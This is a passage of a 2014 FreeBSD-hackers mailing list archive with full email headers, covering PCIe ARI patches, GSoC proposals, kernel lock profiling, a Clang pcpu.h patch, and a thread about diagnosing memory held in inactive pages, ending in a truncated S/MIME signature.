CPU layer deal with it? I tested loading vmm.ko with a device assigned to the ppt driver but I didn't go as far as starting a VM and using PCI passthrough. (Also, as you'd probably expected doing this with hw.dmar.enable=1 causes all hell to break loose). http://people.freebsd.org/~rstone/patches/ari/0004-Add-support-for-PCIe-ARI.patch This is a slightly reworked version of the previous patch. The main difference are that there is a new implementation of pcib_get_rid that understands ARI RIDs. I also fixed a bug where the default implementation of pcib_numslots was not actually being used because I misspelled DEFAULT as default in pcib_if.m. http://people.freebsd.org/~rstone/patches/ari/0005-Print-status-of-ARI-capability-in-pciconf-c.patch This makes pciconf -c dump the status of ARI on PCIe downstream ports. From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 18:51:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3ABFB3D5; Tue, 18 Mar 2014 18:51:52 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E8983D69; Tue, 18 Mar 2014 18:51:51 +0000 (UTC) Received: from julian-mbp3.pixel8networks.com (50-196-156-133-static.hfc.comcastbusiness.net [50.196.156.133]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s2IIpoOF086158 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 18 Mar 2014 11:51:51 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <532895C2.1010006@freebsd.org> Date: Tue, 18 Mar 2014 11:51:46 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Mike Ma , Ed Maste , freebsd-hackers@freebsd.org Subject: Re: GSoC proposal: kernel debugging support for LLDB References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 18:51:52 -0000 most interesting kernel debug support is for live debugging (with the remote stub or similar) how does this relate to that? On 3/17/14, 12:35 PM, Mike Ma wrote: > Hi all, > > I've submitted a GSoC proposal here, > http://www.google-melange.com/gsoc/proposal/public/google/gsoc2014/mikemandarine/5665319561461760. > I'm copying the proposal here for wider audience. > Any suggestions or comments are more than appreciated. > > Thanks a lot for your time. > > Project Description > I'm planning to add a plugin called FreeBSD-kernel to LLDB, and the > existing userland ELF core strategies can be inherited. On FreeBSD > system, kernel virtual memory image can be accessed using libkvm > interfaces, as to support kernel debugging, libkvm APIs, i.e. > kvm_read(3)/kvm_write(3), will be mainly used. To fully support kernel > debugging, module metadata parsing and module automatic loading will > also be implemented. > > There is some existing work related to this project. The first is kgdb > in FreeBSD code base, it is a kernel debugger based on gdb. Plus, > there is Mac OS X kernel debugging support in LLDB as well. This > project will be focused on the platform that LLDB supports, including > amd64, mips and i386. Once this project is done, remote kernel > debugging and cross-platform kernel debugging would be the next steps > of interest. > > Deliverables > - There are two major milestones: > #1 Basic support for opening kernel crash dumps and /dev/mem. > (mid-term deliverable) > #2 Full debugging support by adding module parsing and loading. > (final deliverable) > > Test Plan > - Check all functionalities and commands are working properly, and > compare behavior with kgdb and LLDB. > - Benchmark tests on startup, stepping, etc. > > Project Schedule > - Week 1 - 3: Kernel crash dumps support. > - Week 4 - 6: Live debugging against /dev/mem support. > - Week 7 - 10: Kernel Module parsing and loading support. > - Week 11 - 12: Tests and bug fixing, and documentation work. > All features should be done by the suggested Pencils down day (Aug. 11th). > > From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 19:02:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CAF489A2 for ; Tue, 18 Mar 2014 19:02:16 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 5D081EA6 for ; Tue, 18 Mar 2014 19:02:16 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) by freebsd.czest.pl (8.14.5/8.14.5) with ESMTP id s2IJ0V7d087341; Tue, 18 Mar 2014 19:00:31 GMT (envelope-from wkoszek@freebsd.czest.pl) Received: (from wkoszek@localhost) by freebsd.czest.pl (8.14.5/8.14.5/Submit) id s2IJ0V0N087340; Tue, 18 Mar 2014 19:00:31 GMT (envelope-from wkoszek) Date: Tue, 18 Mar 2014 19:00:31 +0000 From: "Wojciech A. Koszek" To: Adria Garriga Subject: Re: GSoC: Deterministic builds Message-ID: <20140318190031.GY37327@FreeBSD.org> References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Spam-Status: No, score=-0.4 required=5.0 tests=RP_MATCHES_RCVD, SPF_HELO_PASS, SPF_PASS autolearn=ham version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on freebsd.czest.pl X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (freebsd.czest.pl [212.87.224.105]); Tue, 18 Mar 2014 19:00:37 +0000 (UTC) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 19:02:16 -0000 On Tue, Mar 18, 2014 at 09:38:44AM +0100, Adria Garriga wrote: > Hello! I'm Adria (rhaps0dy in IRC). I'd love to participate in the > GSoC as a FreeBSD student. Adria, Given that there's little time left, can you consider applying via Google Melange with this proposal and monitoring it for possible feedback on your idea? Thanks, -- Wojciech A. Koszek wkoszek@FreeBSD.czest.pl http://FreeBSD.czest.pl/~wkoszek/ From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 19:17:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 87997CEB for ; Tue, 18 Mar 2014 19:17:02 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 18C16FD6 for ; Tue, 18 Mar 2014 19:17:01 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) by freebsd.czest.pl (8.14.5/8.14.5) with ESMTP id s2IJFJZi087450; Tue, 18 Mar 2014 19:15:19 GMT (envelope-from wkoszek@freebsd.czest.pl) Received: (from wkoszek@localhost) by freebsd.czest.pl (8.14.5/8.14.5/Submit) id s2IJFJaw087449; Tue, 18 Mar 2014 19:15:19 GMT (envelope-from wkoszek) Date: Tue, 18 Mar 2014 19:15:19 +0000 From: "Wojciech A. Koszek" To: =?utf-8?B?5b6Q5b+X6ZSL?= Subject: Re: GSoC:Convert some utilities to emit XML Message-ID: <20140318191519.GA37327@FreeBSD.org> References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Spam-Status: No, score=-0.4 required=5.0 tests=RP_MATCHES_RCVD, SPF_HELO_PASS, SPF_PASS autolearn=ham version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on freebsd.czest.pl X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (freebsd.czest.pl [212.87.224.105]); Tue, 18 Mar 2014 19:15:23 +0000 (UTC) Cc: FreeBSD-Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 19:17:02 -0000 On Sun, Mar 16, 2014 at 02:07:35PM +0000, ĺľĺż—锋 wrote: > Hello all, > I'am going to apply the GSoC for the project "Machine readable output from userland utilities". > I wonder how to enable the utilities to emit XML output ;Should I add an option saying -xml to  > enable this?  > JunOS can emit the XML output using the pipe to display xml(| display xml); and I also  > wonder how JunOS implemented this.  Hi, This is valuable idea. Please apply via Google Melange with a complete proposal. We'd have easier time evaluating your proposal/approach and could provide some feedback/adjustments to it. Thanks, -- Wojciech A. Koszek wkoszek@FreeBSD.czest.pl http://FreeBSD.czest.pl/~wkoszek/ From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 19:18:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 645F6DEB for ; Tue, 18 Mar 2014 19:18:54 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D0A7EFED for ; Tue, 18 Mar 2014 19:18:53 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) by freebsd.czest.pl (8.14.5/8.14.5) with ESMTP id s2IJH9I7087476; Tue, 18 Mar 2014 19:17:09 GMT (envelope-from wkoszek@freebsd.czest.pl) Received: (from wkoszek@localhost) by freebsd.czest.pl (8.14.5/8.14.5/Submit) id s2IJH9QB087475; Tue, 18 Mar 2014 19:17:09 GMT (envelope-from wkoszek) Date: Tue, 18 Mar 2014 19:17:08 +0000 From: "Wojciech A. Koszek" To: Seiya Nuta Subject: Re: GSoC'14 proposal: a new bootsplash screen Message-ID: <20140318191708.GB37327@FreeBSD.org> References: <038860B8-7034-4AA7-A8F8-1A7AB4D7FB1C@seiya.me> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <038860B8-7034-4AA7-A8F8-1A7AB4D7FB1C@seiya.me> User-Agent: Mutt/1.5.21 (2010-09-15) X-Spam-Status: No, score=-0.4 required=5.0 tests=RP_MATCHES_RCVD, SPF_HELO_PASS, SPF_PASS autolearn=ham version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on freebsd.czest.pl X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (freebsd.czest.pl [212.87.224.105]); Tue, 18 Mar 2014 19:17:15 +0000 (UTC) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 19:18:54 -0000 On Sun, Mar 16, 2014 at 08:59:49PM +0900, Seiya Nuta wrote: > Hi, everyone > > I am Seiya Nuta, a university student in Japan and I’m going to submit a GSoC proposal. > > I want to develop a new bootsplash mechanism to add animation such as progress bar. > It eases concern whether it works on boot and enhances the attractiveness of FreeBSD > to desktop users. > > I’m willing to work on this even if my proposal is not accepted so I would like you to tell > me your frank opinion about my proposal. > > My proposal is as follows: > > Description: > I propose a new bootsplash mechanism. Currently, we can enable bootsplash by adding few > options such as `splash_bmp_load' to /boot/loader.conf but it only displays an image > file. I worry whether it works well on boot so I assume we need a new bootsplash which can > display animation: progress bar, loading circle ball. Themes are kernel modules and draw > images in two ways: direct drawing and layered drawing. Direct drawing is same as > splash_bmp; only draw an image. Layered drawing is a new way; stack images and text. It > also enables technique like CSS sprite. > > Deliverables: > - Implementation of bootsplash direct drawing / layered drawing > - Makefile and scripts for creating bootsplash themes > - Example themes > > Test Plan: > #1: > - write code in VM on VirtualBox > - `make` and copy generated kernel and modules to /boot > - launch .vdi of the VM with QEMU on host OS > - check output and dmesg > #2: > - `make buildinstall` on a real machine. > - boot it > - check output and dmesg > > Schedule: > Work Period #1 > - (May 19 - May 25) implement direct drawing > - (May 26 - June 8) add changes to src/sys > - (June 9 - June 15) write Makefile and scripts for creating themes > - (June 16 - June 22) create and enjoy a flip book in bootsplash using direct drawing > Work Period #2 > - (June 23 - June 29) print characters in a framebuffer > - (June 30 - July 20) implement layered drawing > - (July 21 - July 27) support layered drawing in scripts for creating themes > - (July 28 - 'pencils down' date) create themes > Seiya Nuta, Can you please submit this proposal over Google Melange? It's much easier to do project review/rating/adjustments for GSoC there. Thanks, -- Wojciech A. Koszek wkoszek@FreeBSD.czest.pl http://FreeBSD.czest.pl/~wkoszek/ From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 19:29:41 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 37E36508; Tue, 18 Mar 2014 19:29:41 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0ED2A191; Tue, 18 Mar 2014 19:29:41 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 014C0B94B; Tue, 18 Mar 2014 15:29:40 -0400 (EDT) From: John Baldwin To: freebsd-current@freebsd.org Subject: Re: FreeBSD GSOC proposal in 2014 Date: Tue, 18 Mar 2014 14:26:19 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <20140314070218.GA37327@FreeBSD.org> In-Reply-To: <20140314070218.GA37327@FreeBSD.org> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201403181426.19929.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Tue, 18 Mar 2014 15:29:40 -0400 (EDT) Cc: freebsd-hackers@freebsd.org, soc-status@freebsd.org, "Wojciech A. Koszek" , yan cui X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 19:29:41 -0000 On Friday, March 14, 2014 3:02:18 am Wojciech A. Koszek wrote: > On Thu, Mar 13, 2014 at 09:56:35PM -0400, yan cui wrote: > > Hi all, > > > > I write this mail to make my question clear. I know witness can be used > > to detect wrong lock order in the kernel. However, can it be used to do > > lock profiling (what I mean is to report the information such as which > > locks are most contended and print some related statistics such as calling > > graph, etc)? > > In other words, is it enough to finish the task by porting witness to the > > pthread library? > > > > Yan, > > To my knowledge WITNESS is the only tool for lock order verification. > > For lock profiling in the FreeBSD kernel there's a KTR subsystem. KTR > mechanism is basically like syslog() in the user-space, but for the kernel. > KTR subsystem will receive messages from KTR API that is placed in the > FreeBSD kernel. Messages get stored on the list of some sort. List can be > exported to a file. File you can later analyze. > > Jeff wrote a Python app which can be used for pre-processing the KTR logs > from scheduler and protting them visually. Link: > > http://svnweb.freebsd.org/base/head/tools/sched/schedgraph.py > > Instead of porting witness to pthreads, maybe we could evaluate expanding > WITNESS to cover kern_umtx? This could prove to be more universal. > > Wojciech There is a dedicated lock profiler (LOCK_PROFILING) in the kernel. A previous GSoC student from an earlier year has already re-implemented both LOCK_PROFILING and WITNESS for pthreads. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 19:29:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 164767F5; Tue, 18 Mar 2014 19:29:49 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E31B01A2; Tue, 18 Mar 2014 19:29:48 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id CD87FB941; Tue, 18 Mar 2014 15:29:47 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: [PATCH] amd64/pcpu.h: Use Clang builtins for clarity when referencing thread's pcpu Date: Tue, 18 Mar 2014 14:52:13 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <1394821826-19412-1-git-send-email-conrad.meyer@isilon.com> In-Reply-To: <1394821826-19412-1-git-send-email-conrad.meyer@isilon.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201403181452.13685.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Tue, 18 Mar 2014 15:29:47 -0400 (EDT) Cc: "Meyer, Conrad" , Bryan Drewery X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 19:29:49 -0000 On Friday, March 14, 2014 2:31:08 pm Meyer, Conrad wrote: > We can efficiently reference thread-local pcpu members via the %gs > register with Clang-annotated C code, in place of inline GNU assembly. > > Motivations: > - Use C in leiu of inline assembly for clarity > - Clang's static analyser may be better able to understand PCPU_* > macros using the C constructs rather than inline assembly > (unverified) > > Sponsored by: EMC/Isilon storage division > Signed-off-by: Conrad Meyer > Reviewed-by: Max Laier > --- > This is more of a "what do you think?" than a pull request. It seems like using > annotated C instead of asm is nice (in particular, Clang detects casts from > pointers typed with one segment to another, or unsegmented type). On the other > hand, this is code that doesn't change frequently, and we may still need to > support GCC for some time. So adding a second, parallel implementation just > doubles room for bugs. I think this is neat and wanted to look at doing this when I first noticed the address_space() attribute in the clang docs. > Open questions: > - How long is GCC intended to be supported as a compiler? That I don't know. > - How atomic does PCPU_INC() need to be? It looks like it updates cpu-local > counters; as long as it's a single asm instruction, should it be fine > w.r.t. interrupts? The existing implementation does NOT use the 'lock; ' prefix. I think a single instruction is fine. > diff --git a/sys/amd64/include/pcpu.h b/sys/amd64/include/pcpu.h > index fe898e9..68892fc 100644 > --- a/sys/amd64/include/pcpu.h > +++ b/sys/amd64/include/pcpu.h > +#define curthread __extension__ ({ \ > + *((volatile __pcpu_type(pc_curthread) __GS_RELATIVE *) \ > + __pcpu_offset(pc_curthread)); \ > +}) Would be nice to not lose the __pure2 attribute for curthread (you might need it to still be an inline function to keep that) -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 19:29:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A65C57FB; Tue, 18 Mar 2014 19:29:51 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 80FF71A4; Tue, 18 Mar 2014 19:29:51 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 6C877B946; Tue, 18 Mar 2014 15:29:50 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: Tracking down what has inact pages locked up Date: Tue, 18 Mar 2014 15:05:47 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <53260B36.2070409@denninger.net> In-Reply-To: <53260B36.2070409@denninger.net> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201403181505.47349.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Tue, 18 Mar 2014 15:29:50 -0400 (EDT) Cc: Alan Cox , Karl Denninger X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 19:29:51 -0000 On Sunday, March 16, 2014 4:36:06 pm Karl Denninger wrote: > Is there a reasonable way to determine who or what has that memory > locked up -- and thus why the vm system is not demoting that space into > the cache bucket so it can be freed (which, if my understanding is > correct, should be happening long before now!) I have a hackish thing (for 8.x, might work on 10.x) to let you figure out what is using up RAM. This should perhaps go into the base system at some point. Grab the bits at http://people.freebsd.org/~jhb/vm_objects/ You will want to build the kld first and use 'make load' to load it. It adds a new sysctl that dumps info about all the VM objects in the system. You can then build the 'vm_objects' tool and run it. It can take a while to run if you have NFS mounts, so I typically save its output to a file first and then use sort on the results. sort -n will show you the largest consumer of RAM, sort -n -k 3 will show you the largest consumer of inactive pages. Note that 'df' and 'ph' objects are anonymous, and that filename paths aren't always reliable, but this can still be useful. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 19:36:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C5975DA2 for ; Tue, 18 Mar 2014 19:36:11 +0000 (UTC) Received: from fs.denninger.net (wsip-70-169-168-7.pn.at.cox.net [70.169.168.7]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6E1512AA for ; Tue, 18 Mar 2014 19:36:11 +0000 (UTC) Received: from [127.0.0.1] (localhost [127.0.0.1]) by fs.denninger.net (8.14.8/8.14.8) with ESMTP id s2IJa9Ex025340 for ; Tue, 18 Mar 2014 14:36:10 -0500 (CDT) (envelope-from karl@denninger.net) Received: from [127.0.0.1] (TLS/SSL) [192.168.1.40] by Spamblock-sys (LOCAL/AUTH); Tue Mar 18 14:36:09 2014 Message-ID: <5328A024.6050901@denninger.net> Date: Tue, 18 Mar 2014 14:36:04 -0500 From: Karl Denninger User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: John Baldwin , freebsd-hackers@freebsd.org Subject: Re: Tracking down what has inact pages locked up References: <53260B36.2070409@denninger.net> <201403181505.47349.jhb@freebsd.org> In-Reply-To: <201403181505.47349.jhb@freebsd.org> Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha1; boundary="------------ms010604070004050106070803" X-Antivirus: avast! (VPS 140318-1, 03/18/2014), Outbound message X-Antivirus-Status: Clean Cc: Alan Cox X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 19:36:11 -0000 This is a cryptographically signed message in MIME format. --------------ms010604070004050106070803 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable On 3/18/2014 2:05 PM, John Baldwin wrote: > On Sunday, March 16, 2014 4:36:06 pm Karl Denninger wrote: >> Is there a reasonable way to determine who or what has that memory >> locked up -- and thus why the vm system is not demoting that space int= o >> the cache bucket so it can be freed (which, if my understanding is >> correct, should be happening long before now!) > I have a hackish thing (for 8.x, might work on 10.x) to let you figure = out > what is using up RAM. This should perhaps go into the base system at s= ome > point. > > Grab the bits at http://people.freebsd.org/~jhb/vm_objects/ > > You will want to build the kld first and use 'make load' to load it. I= t adds > a new sysctl that dumps info about all the VM objects in the system. Y= ou can > then build the 'vm_objects' tool and run it. It can take a while to ru= n if > you have NFS mounts, so I typically save its output to a file first and= then > use sort on the results. sort -n will show you the largest consumer of= RAM, > sort -n -k 3 will show you the largest consumer of inactive pages. Not= e > that 'df' and 'ph' objects are anonymous, and that filename paths aren'= t > always reliable, but this can still be useful. > Thanks. I suspect the cause of the huge inact consumption is a RAM leak in the=20 NAT code in IPFW. It was not occurring in 9.2-STABLE, but is on=20 10.0-STABLE, and reverting to natd in userland stops it -- which=20 pretty-well isolates where it's coming from. --=20 -- Karl karl@denninger.net --------------ms010604070004050106070803 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIFTzCC BUswggQzoAMCAQICAQgwDQYJKoZIhvcNAQEFBQAwgZ0xCzAJBgNVBAYTAlVTMRAwDgYDVQQI EwdGbG9yaWRhMRIwEAYDVQQHEwlOaWNldmlsbGUxGTAXBgNVBAoTEEN1ZGEgU3lzdGVtcyBM TEMxHDAaBgNVBAMTE0N1ZGEgU3lzdGVtcyBMTEMgQ0ExLzAtBgkqhkiG9w0BCQEWIGN1c3Rv bWVyLXNlcnZpY2VAY3VkYXN5c3RlbXMubmV0MB4XDTEzMDgyNDE5MDM0NFoXDTE4MDgyMzE5 MDM0NFowWzELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0Zsb3JpZGExFzAVBgNVBAMTDkthcmwg RGVubmluZ2VyMSEwHwYJKoZIhvcNAQkBFhJrYXJsQGRlbm5pbmdlci5uZXQwggIiMA0GCSqG SIb3DQEBAQUAA4ICDwAwggIKAoICAQC5n2KBrBmG22nVntVdvgKCB9UcnapNThrW1L+dq6th d9l4mj+qYMUpJ+8I0rTbY1dn21IXQBoBQmy8t1doKwmTdQ59F0FwZEPt/fGbRgBKVt3Quf6W 6n7kRk9MG6gdD7V9vPpFV41e+5MWYtqGWY3ScDP8SyYLjL/Xgr+5KFKkDfuubK8DeNqdLniV jHo/vqmIgO+6NgzPGPgmbutzFQXlxUqjiNAAKzF2+Tkddi+WKABrcc/EqnBb0X8GdqcIamO5 SyVmuM+7Zdns7D9pcV16zMMQ8LfNFQCDvbCuuQKMDg2F22x5ekYXpwjqTyfjcHBkWC8vFNoY 5aFMdyiN/Kkz0/kduP2ekYOgkRqcShfLEcG9SQ4LQZgqjMpTjSOGzBr3tOvVn5LkSJSHW2Z8 Q0dxSkvFG2/lsOWFbwQeeZSaBi5vRZCYCOf5tRd1+E93FyQfpt4vsrXshIAk7IK7f0qXvxP4 GDli5PKIEubD2Bn+gp3vB/DkfKySh5NBHVB+OPCoXRUWBkQxme65wBO02OZZt0k8Iq0i4Rci WV6z+lQHqDKtaVGgMsHn6PoeYhjf5Al5SP+U3imTjF2aCca1iDB5JOccX04MNljvifXgcbJN nkMgrzmm1ZgJ1PLur/ADWPlnz45quOhHg1TfUCLfI/DzgG7Z6u+oy4siQuFr9QT0MQIDAQAB o4HWMIHTMAkGA1UdEwQCMAAwEQYJYIZIAYb4QgEBBAQDAgWgMAsGA1UdDwQEAwIF4DAsBglg hkgBhvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFHw4 +LnuALyLA5Cgy7T5ZAX1WzKPMB8GA1UdIwQYMBaAFF3U3hpBZq40HB5VM7B44/gmXiI0MDgG CWCGSAGG+EIBAwQrFilodHRwczovL2N1ZGFzeXN0ZW1zLm5ldDoxMTQ0My9yZXZva2VkLmNy bDANBgkqhkiG9w0BAQUFAAOCAQEAZ0L4tQbBd0hd4wuw/YVqEBDDXJ54q2AoqQAmsOlnoxLO 31ehM/LvrTIP4yK2u1VmXtUumQ4Ao15JFM+xmwqtEGsh70RRrfVBAGd7KOZ3GB39FP2TgN/c 